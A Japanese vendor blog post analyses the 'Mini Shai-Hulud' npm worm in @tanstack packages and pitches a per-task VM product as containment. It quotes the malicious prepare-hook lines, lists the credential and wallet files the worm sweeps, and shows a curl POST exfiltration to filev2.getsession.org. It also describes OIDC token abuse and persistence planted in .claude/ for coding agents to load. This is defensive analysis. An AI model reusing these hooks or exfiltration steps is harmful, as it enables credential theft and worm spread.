すべての投稿に戻る
公開日 · 著者 Renaud Deraison

.claude に自分自身を書き込むワーム

2026年5月11日、Mini Shai-Huludと呼ばれるnpmワームが@tanstackネームスペース内の42のパッケージにoptionalDependencies行を追加しました。それらのうちどれかをインストールすると、GitHub Actions環境からOIDCトークンを取得し、有効なSLSAプロベナンス付きでより多くの侵害されたバージョンを公開し、次回コーディングエージェントが起動する際のために.claude/に自身をコピーし、~/.awsからあなたの暗号通貨ウォレットまで全てをデータ流出させるBunスクリプトが実行されました。パッケージは署名されていました。証明は有効でした。ここではその連鎖がどのようなものか、そしてインストールを実行したエージェントがBromure per-task VM内で動作している場合何が変わるかを示します。

2026年5月11日、UTC午後7時20分から7時26分頃の間、誰かが 42の@tanstackパッケージに渡って84の悪意のあるアーティファクトを プッシュしました — その中には毎週1200万のnpm install行が プルする@tanstack/react-router、ルーティングライブラリも 含まれていました。パッケージはTanStackの本物のリリースパイプライン によって署名され、有効なSLSAプロベナンスを持っていました。なぜなら ワームはパブリッシャートークンを盗まなかったからです。ビルドの 途中でTanStackのGitHub Actionsランナーをハイジャックしました。 そして去る前に、悪いバージョンの1つをインストールした全ての マシンで、.claude/に自身の持続化コピーを書き込みました。

メンテナーのパスワードを誰かが盗んだために記録されるサプライチェーン 攻撃の種類があります。これはそのうちの1つではありません。月曜日の夜に AikidoSocketWizSnyk が全て捕らえたMini Shai-Huludのバージョンは、パスワードを 必要としませんでした。どこかの開発者が@tanstack/react-routerに 推移的に依存するプロジェクトでnpm installとタイプすることが 必要でした。残りは — TanStack自身のCIが悪意のあるリリースに 署名を刻印した部分も含めて — 自動でした。

仕組みが重要です。なぜなら仕組みこそが、この攻撃をnpmについての 質問ではなく、あなたのラップトップのコーディングエージェントが 何に対してキーを持っているかについての質問にするものだからです。 では連鎖を歩いてみましょう。

JSONの行。

最初の悪意のある@tanstack/react-routerビルド、バージョン 1.169.5は、正確にこれを含むpackage.jsonを含んでいました:

"optionalDependencies": {
  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}

npmパッケージではなく、Git URL。バージョン範囲ではなく、 ピン留めされたコミット。そのコミットのpackage.jsonは、 今度は以下を含んでいました:

"scripts": {
  "prepare": "bun run tanstack_runner.js && exit 1"
}

npmがGit依存関係をインストールする際、依存関係のprepare スクリプトを実行します。これはバグではありません;文書化された 契約です。なぜならGit依存関係は通常ソースであり、ソースは 通常ビルドが必要だからです。&& exit 1が巧妙な部分です: オプショナル依存関係のインストールを失敗させ、これは npmがpackage-lock.jsonに記録しないことを意味し、これは 一日後にロックファイルを監査する被害者が何も悪いものを 見ないことを意味します。ペイロードは実行されました。 ロックファイルはクリーンです。

ところで、ランタイムはBunです。Nodeではありません。npmは オンデマンドでBunをインストールするため、ワームは自分のものを 持参する必要さえありません。Bunには何の問題もありません — 完全に合理的なJavaScriptランタイムです — しかし、その存在は 難読化されたコードに隠れるための少し混雑していないツールチェーンを 与え、それが今のところ攻撃者が望むものです。

実行されると何をするかランナー。

3つのファイル。それぞれが独立して悪いものです。

router_init.jsは認証情報泥棒です。通常の容疑者のためにディスクを 歩き回ります — ~/.aws/credentials~/.npmrc~/.docker/config.json~/.config/gh/hosts.yml~/.kube/config~/.ssh/*、そして名前にtokenという 単語を含む任意のdotfile — さらに、この攻撃を2022年の サプライチェーンインシデントと区別するリスト:ブラウザ拡張 ウォレット(MetaMask、Phantom、Keplr)のディスク上ボルト、 CursorとWindsurfのローカルセッションファイル、親プロセスの 環境に座っているエージェント自身のトークン、プロジェクトツリー内の 任意のMCPサーバー設定ファイル。見つけたものは何でも、tarで パッケージ化し、暗号化し、filev2.getsession.org/file/に 送信します — 攻撃者が制御するドロップで、出力がCDNへのcurl のように見えるように、他は正当なファイル共有サービスの 背後にホストされています。

tanstack_runner.jsは伝播者です。被害者のnpmトークンを盗むと、 そのトークンが公開できるパッケージを列挙し、各tarballを package.jsonに接合された悪意のあるoptionalDependencies行で 再パッケージ化し、バージョンを増分し、再公開します。これは Mini Shai-Huludを単一の悪いパッケージではなくワームにする部分です: 侵害された依存関係をインストールする各メンテナーが、潜在的に 次の攻撃者になります。

router_runtime.jsは持続化コピーです。Socketの 分析 は、ランナーが座っているプロジェクトの.claude/サブディレクトリに 自身のコピーを書き込むことに注目しています。なぜなら.claude/は Claude Codeがスタートアップ時にプロジェクトスコープの設定、 スラッシュコマンド、ツール設定のために読み込むディレクトリだからです。 次回開発者がClaude Codeでそのリポジトリを開く時 — またはより悪いことに、 次回彼らのコーディングエージェントが新しくチェックアウトされたマシンで そのリポジトリを自律的に開く時 — 持続化ファイルは既にエージェントの 作業ツリーにあります。ワームは忍耐強いです。

OIDCトリック:悪意のあるパッケージが有効なSLSAプロベナンスを得る方法。

これはリリースパイプラインを実行している誰もを夜に眠らせない部分です。 侵害された@tanstack/[email protected]は有効なSLSAプロベナンスで npmに到着しました。Sigstoreがそれに署名しました。GitHubの証明APIが それを祝福しました。「プロベナンス付きのパッケージのみをインストール」 と言うチェックをスクリプト化していたとしても、とにかくそれを インストールしたでしょう。

理由は機械的です。SLSAプロベナンスは「このコードは安全」とは 言いません。「このアーティファクトは、そのOIDCアイデンティティが 署名したワークフローによってビルドされた」と言います。それが セキュリティシグナルになるためには、ワークフロー自体が侵害 されていない必要があります。このケースでは、ワークフローは TanStackの実際のリリースワークフローでした — しかし同じジョブの 前のステップで、自身のインストールスクリプト(ここでは、TanStack 自身の依存関係ツリーが既にワーム注入されたバージョンを含んでいた 悪意のあるパッケージのprepareスクリプト)がランナー内で実行された 依存関係を実行しました。ランナーは1つのプロセスツリーです。 ランナーは環境変数ACTIONS_ID_TOKEN_REQUEST_TOKENとURL ACTIONS_ID_TOKEN_REQUEST_URLを持っており、これは正当な ワークフローが短期間のOIDCトークンを作成する方法です。 そのプロセスツリーで実行される他の何でも同様です。ワームは 同じエンドポイントを呼び出し、TanStackのリポジトリにスコープ されたトークンを取得し、それを公開に使用し、Sigstoreの観点から TanStackが公開したため、Sigstoreが結果に署名しました。 Socketの分析はそれについて直接的です:「セキュリティシグナル としてSigstoreプロベナンスバッジのみを信頼しないでください。」

これは2週間前に 書いたLiteLLMとBitwarden CLIインシデントと同じレッスンで、 フロントドアをロックしたと思ったレジストリで再述されています。 ペイロードがprepareにある場合、ロックファイルは防御になりません。 署名者のランナーがペイロードである場合、署名は防御になりません。

エンドツーエンドで連鎖がどのように見えるか。

開発者ラップトップ — エージェントが実行するものに見えるホストファイルシステムコーディングエージェント$ claude> ルーターをアプリに追加tool: bashnpm i @tanstack/react-router↳ optionalDep失敗(良い!)↳ prepareはとにかく実行npmレジストリ@tanstack/react-router 1.169.5 署名: 有効 SLSAプロベナンス: okoptionalDependencies: github:tanstack/routerprepare → bun run tanstack_runner.jsrouter_init.js→ ホスト秘密をスイープtanstack_runner.js→ npmトークンで再公開router_runtime.js→ .claude/にコピー読み込み: ~/.aws, ~/.npmrc, $GH_TOKEN, ~/.ssh, MetaMaskボルト, cursor/windsurfセッションホストファイルシステム — 全て本物、prepareスクリプトが読み込み可能~/.aws/credentialsAKIA… 本物~/.npmrc_authToken (ここで再公開)$GH_TOKEN, ~/.config/gh/hosts.ymlghp_… 本物~/.ssh/id_ed25519ディスク上の秘密鍵~/Library/.../MetaMask/vault.json — 暗号化済み、流出済み、総当たり攻撃~/Library/.../Cursor/ワークスペース状態、エージェントトークン持続化./project/.claude/ router_runtime.jsエージェントが次回このリポジトリを開く時ロードまた: ./node_modules/.bin/*また: ~/.bashrc tailデータ流出tar | aes-256 | curl -X POST https://filev2.getsession.org/file/ファイル共有ホストへの普通のアップロードのよう。出力ファイアウォールはCDN形状のリクエストを見る。
コーディングエージェントがnpm installを直接実行する開発者マシンでの連鎖。悪意のある依存関係が故意に失敗するため、ロックファイルはクリーンです。Git URLのprepareスクリプトが、(a) ~/.aws、~/.npmrc、$GH_TOKEN、~/.ssh、ブラウザ拡張ウォレットボルト、Cursor/Windsurfセッションファイルをスイープし、(b) 盗まれたnpmトークンを使用してより多くの侵害されたパッケージを再公開し、(c) 次のエージェントセッションがロードするように.claude/に持続化コピーを書き込む、3つの難読化されたBunスクリプトを取得します。データ流出POSTはfilev2.getsession.orgに向かいます。0day無し、エスカレーション無し;エージェントはインストールするように指示されたパッケージをインストールします。

この画像には2つの特性があり、どの緩和策が機能し、どれが機能しないかを 決定するものなので、考慮する価値があります。

1つ目は、ワームが読み取る全てのファイルが、ユーザーがユーザーのために そこに置いたファイルであることです。誰もルーティングライブラリに ~/.aws/credentialsへのアクセスを与えることを選択しませんでした。 アクセス権を持つ理由は、npm installを実行したシェルがアクセス権を 持っているからで、そのシェルの前に座っていた開発者がアクセス権を 持っているからで、それがUnixの動作方法だからです。エージェントは、 機械的に、開発者の手の延長です。開発者のリーチを継承します。

2つ目は、破壊的なステップが認証情報の盗取ではないことです。 .claude/への持続化書き込みです。純粋な認証情報の強盗は ワンショット武器です — キーをローテーションすれば終わりです。 エージェントのプロジェクトスコープ設定ディレクトリ内の持続化ファイルは、 新しくチェックアウトされたマシンで、異なる開発者で、次回の コーディングセッションが、その開発者のキーで、その開発者の マシンで、再びワームを実行することを意味します。爆発半径は ラップトップではありません。チームです。

Bromure Agentic Coding内での同じ連鎖。

Bromure Agentic Codingは、コーディングエージェント — Claude Code、CursorのCLI、Codex CLI、Aider、お好みのものは何でも — がBromure per-task VM内で実行される設定で、プロジェクトフォルダが マウントされ、他には何もありません。VMは、Bromureブラウザタブが 使用するのと同じ使い捨てLinuxゲストです;エージェントは ページロードの生涯ではなく、タスクの生涯の間だけそこに住みます。

これが上記の連鎖に対して何をするかを、ファイルごとに示します。

BROMURE VM — コーディングエージェントが実行される使い捨てゲストコーディングエージェント (VM内)$ claude> ルーターをアプリに追加tool: bashnpm i @tanstack/react-router↳ prepare実行↳ ゲスト内ゲストファイルシステム — スタブと不在~/.aws/credentialsaws_secret = stub-aws-…~/.npmrc_authToken = stub-npm-…$GH_TOKENghp_stub_…~/.ssh/id_ed25519そのようなファイルまたはディレクトリはありませんMetaMask, Phantom, KeplrボルトゲストにインストールされていませんCursor/Windsurfセッションファイルディスクにありません持続化./project/.claude/ router_runtime.js書き込み済み、しかし.claude/はゲストのCoWディスク上→ リセット時に破棄ハイパーバイザー — 認証情報ブローカー + 出力プロキシmacOSホスト — 本物の秘密、境界を越えたことはない本物の認証情報ボルトmacOS Keychainid_ed25519 (秘密)~/.aws/credentialsAKIA… (本物)~/.config/gh/hosts.ymlghp_real…~/.npmrcnpm_… (本物の公開)~/Library/.../MetaMask/vault.json (本物)~/Library/.../Cursor/エージェントセッション、トークン~/.bashrc, ~/.zshrc持続化追加なし出力プロキシ — 観察可能、ホワイトリストgit push → api.github.com stub ghp_… ⇒ real ghp_… (ホワイトリスト)npm publish → registry.npmjs.org スタブnpmトークンはホストに存在しません ⇒ publish 401 UnauthorizedPOST filev2.getsession.org ホワイトリスト外 ⇒ ブロック、セッショントレースにログデータ流出の試行はプロキシに見えます。セッショントレースがそれを記録します。VMは消えます。
同じnpm install、同じprepareスクリプト、同じ3つのBunランナー、Bromure per-task VM内で。router_init.jsはホストが本物のキーを持っていたところにスタブ(またはより頻繁には何もない)を含むゲストファイルシステムをスイープします。tanstack_runner.jsはスタブnpmトークンを見つけ、何も公開できません。router_runtime.jsはタスク終了時に削除される使い捨てディスク内に住む.claude/ディレクトリに持続化コピーを書き込みます。データ流出POSTは出ていきます — 出力は仲介されているので、この試行は観察可能でブロック可能ですが、成功してもスタブを運びます。

ワームのステップが死ぬ場所へのマッピング。

ランナーの3つのファイルをBromureの境界に対して1つずつ歩くことが、 これがスローガンではなくチェックリストになる部分です。

router_init.jsがキーに手を伸ばす。

ランナーは~/.aws/credentials~/.npmrc$GH_TOKEN~/.config/gh/hosts.yml~/.kube/config~/.docker/config.json~/.ssh/id_ed25519を読み取ります。 Bromure VM内では、最初の4つはスタブです — パブリックインターネット上では 何も意味しない文字列を含む構文的に有効な認証情報ファイル。 kubeconfigもスタブです(またはこのタスクでKubernetesクラスターを 設定していない場合は存在しません)。Docker設定もスタブです。 SSH秘密鍵はディスク上に全くありません;VMはフォワードされた ssh-agentソケットを持っており、そのキー材料はハイパーバイザーの ホスト側のmacOS Keychainに住んでいます。ランナーの cat ~/.ssh/id_ed25519そのようなファイルまたはディレクトリは ありませんを返し、ランナーは続行します。

MetaMask、Phantom、Keplrはどうでしょうか?これらはブラウザ拡張です。 Bromureはそのブラウザに全くChrome拡張をインストールしません — 「キュレートされた」や「サンドボックス化された」方法ではなく、 全くインストールしません — そしてコーディングエージェントを 実行するper-task VMも、そのファイルシステム上にデスクトップ ウォレットを置いていません。ランナーが探しているウォレットボルトは、 ランナーが到達できないLinux/macOS境界の向こう側の、あなたの ホスト上の、あなたの本物のブラウザプロファイル内に住んでいます。

CursorとWindsurfセッションファイルは興味深い中間ケースです。 Bromure agenticセッション内でコーディングエージェントを実行している 場合、「Cursorのセッションファイル」はこのVM内のファイルです — これは、このタスクのためにプロビジョニングしたばかりの、 このリポジトリにスコープされた、このタスクに有効な唯一の ログインされたエージェントアイデンティティを持つ新鮮なVMです。 ランナーはそのトークンをデータ流出させるでしょう。トークンは 1つのリポジトリの1つのタスクに対して有効です。タスクが終了すると、 トークンはローテーションされます。爆発半径は、エージェントが 既に行うことを許可されていたもので、これは何もないわけではありません — 下記参照 — しかし「攻撃者が今私の全AIサブスクリプションを持っている」 からは程遠いです。

tanstack_runner.jsが再公開を試行。

プロパゲーターの存在理由全体は、被害者のnpmトークンを使用して より多くの侵害されたパッケージを公開することです。VM内では、 ~/.npmrc内のnpmトークンはスタブです。ホスト上の出力プロキシは、 ユーザーが現在作業している本物のリポジトリのために api.github.comregistry.npmjs.orgについて知っていますが、 ホストの本物のnpmトークンで任意の無関係なパッケージに対する 公開リクエストを盲目的にフォワードしません。(このタスクから 公開する意図がない場合、プロキシのホワイトリストには全く npmが含まれません。)公開の試行は401 Unauthorizedで戻って来て、 ワームの伝播ループはワイヤーで死にます。

これが認証情報ブローカーとバインドマウントの違いです。 ~/.npmrcを自身にマウントするコンテナは、ランナーに本物の 公開トークンを与えます。スタブ~/.npmrcと、「エージェントが 自身の作業リポジトリにプッシュしている」と「何らかのスクリプトが 私が聞いたことのない40の他のパッケージを再公開している」の 違いを知っているホスト側プロキシを持つVMは、ランナーに401を 与えます。同じ入力。異なるトポロジー。

router_runtime.jsが.claudeに自身を書き込む。

持続化ファイルは、1タブインシデントを複数タブパンデミックに 変換する動きであり、Bromure Agentic Codingの使い捨てディスクモデルが 構造的にアレルギーを持つ動きです。

.claude/はプロジェクトツリー内に住んでおり、Bromureエージェント セッションではタスクの開始時にVMにマウントされます。そのため ワームは成功してrouter_runtime.js./project/.claude/に 書き込みます。そのファイルは今あなたのリポジトリの作業ツリーの 一部です。また、タスク設定によって、(a) VMの使い捨てCoWディスク内で セッション終了時に削除される予定、または(b) マウントのホスト側で git statusに現れる予定、のいずれかです。ケース(a)では 持続化は消えます。ケース(b)では持続化は赤いdiffと共に 開発者の前に座っています。

誰も望まないケースは無音のものです:ワームがラップトップで実行され、 .claude/router_runtime.jsを書き込み、ファイルが何らかの 継承された設定によってnpm ignoredされ、誰も見たことがないため 持続化がそこに座って、そのリポジトリの全ての将来のClaude Code セッションに自身をロードし続けます。これがBromureがデフォルトで 除去するケースです — ディスクが消えるか、ファイルが見える diffにあるかのどちらかだからです。

なぜコンテナがあなたをここに連れて行かないか。

Bitwarden CLI分析と 同じ異議が適用されます:コーディングエージェントをコンテナ内に 置くことができ、多くの日々のタスクでそれは本当にホスト上で 実行するよりも改善です。しかし境界は、ワームが気にする場所に ありません。

コーディングエージェントが行うこと — git pushgh pr create、プライベートレジストリからのnpm install、 イメージのプッシュを可能にする — に対してコンテナを有用にするために、 ~/.ssh~/.npmrc、GitHubトークンをコンテナにマウント することになります。prepareスクリプトはcat ~/.ssh/id_ed25519を 実行し、実際のファイルを取得します。バインドマウントは、ワームが 探していた正確にソフトな下腹部であり、Dockerが関与しているからといって ソフトな下腹部であることをやめません。

ブラウザ拡張ウォレットも同じ理由で重要です。コンテナが「要約できるよう ドキュメントサイトをスクレイピングする」や「localhostプレビューを開く」 — 一般的なagentic tasks — に有用になるよう設定されると、ホストの 本物のブラウザプロファイルへのアクセスが問題になります。 BromureのPer-task VMには、あなたのブラウザプロファイルが入っていません。 あなたのウォレットも入っていません。あなたのLastPass相当も 入っていません。エージェントは、ゲスト上の新鮮な、ブランドのない Chromiumと話します。これは意図的に誰のメインブラウザでもありません。

これがあなたを救わない場所。

2つの場所があり、どちらも驚きでないよう名前を付けるに値します。

エージェントは依然として悪いコードを出荷できます。

per-task VMについて、毒されたREADMEや有用に見える指示を 返すMCPサーバーによって説得されて、あなたのコードに バックドアをコミットしてプッシュすることを、エージェントが 止められることは何もありません。境界はあなたのマシン上の 認証情報を保護します。diffをレビューしません。diffを読んで ください。セッショントレースは、どのdiffを読むべきかを 知ることをより簡単にします。

出力ホワイトリストが全てのゲームです。

今日公開しているのであなたのタスクが自分のスコープへの npm publishをホワイトリストしており、今日たまたま ワームをインストールした場合、ワームはあなたのスコープで 公開するでしょう。仲介が機能するのは、ホワイトリストが 狭いからです。意図的に狭くしてください。公開する必要のない タスクは公開できるべきではありません。

クリップボードはデフォルトで依然として共有されています。

Bromureは、ホストとゲスト間のクリップボード共有が有効になって 出荷されます。なぜなら、チャットにエラーメッセージを貼り付ける ことは人間が行う必要があることだからです。タスク内で 機密的なことを行っている場合は、そのVMのクリップボードを 分離してください。コントロールはそこにあります。ただ デフォルトではありません。

トレースはあなたの監査ログであり、IDSではありません。

セッショントレースは全てのシェルコマンド、ファイル書き込み、 発信リクエストをキャプチャします。それ自体で filev2.getsession.orgを悪いものとして分類しません。 リクエストが行われたことをキャプチャするので、明日の朝に 誰かがAikidoのような分析を公開した時、あなたのgrepは 2秒かかります。

最後に一つ。

この話の「ロックファイルを監査する」が答えのバージョンがあります。 ロックファイルはクリーンでした。「プロベナンス付きのパッケージのみを インストール」が答えのバージョンがあります。プロベナンスは 有効でした。「コンテナを使用」が答えのバージョンがあります。 コンテナにはバインドマウントがあります。

ペイロードがロックファイルが書かれるに実行され、パブリッシャー自身のCIで実行されるワームに対して実際に持ちこたえるバージョンは、 タイピングしているエージェントが、ホスト側プロキシが本物のキーを 保持する使い捨てLinux VM内に座っているバージョンです。 npmレジストリ契約は変わりません。prepareフックは依然として 実行されます。Bunは依然として起動します。router_init.jsは 依然としてスイープを行います。ただ、その秘密がユーザーの秘密では ないゲストをスイープし、持続化を試みる使い捨てディスクは 次のコーヒーの前に消えます。

Bromure Agentic Codingは、それがデフォルトである 設定です。無料、オープンソース、そして今日出荷されています。 次のワームは既にアップロードされています。